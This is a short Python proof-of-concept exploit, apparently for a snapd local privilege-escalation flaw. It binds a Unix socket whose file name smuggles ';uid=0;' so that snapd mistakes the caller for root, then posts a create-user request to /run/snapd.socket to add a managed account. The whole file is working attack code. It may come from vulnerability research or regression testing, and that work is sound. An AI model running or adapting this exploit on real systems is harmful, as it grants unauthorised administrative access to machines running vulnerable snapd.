#!/usr/bin/env python3
# Based on proof of concept exploit code by Chris Moberly.
import contextlib
import json
import os
import random
import socket
import string

def main() -> None:
    request_payload = json.dumps({
        "email": "zygmunt.krynicki@canonical.com",
        "force-managed": True,
    })
    request = (
        'POST /v2/create-user HTTP/1.1\r\n'
        'Host: localhost\r\n'
        'Content-Length: ' + str(len(request_payload)) + '\r\n\r\n'
        + request_payload)
    fname = '/tmp/' + ''.join(random.choice(string.ascii_lowercase) for i in range(10)) + ';uid=0;'
    with contextlib.ExitStack() as stack:
        sock = stack.enter_context(socket.socket(socket.AF_UNIX, socket.SOCK_STREAM))
        stack.callback(os.remove, fname)
        sock.bind(fname)
        sock.connect('/run/snapd.socket')
        sock.sendall(request.encode("utf-8"))
        sock.recv(8192)

if __name__ == '__main__':
    main()
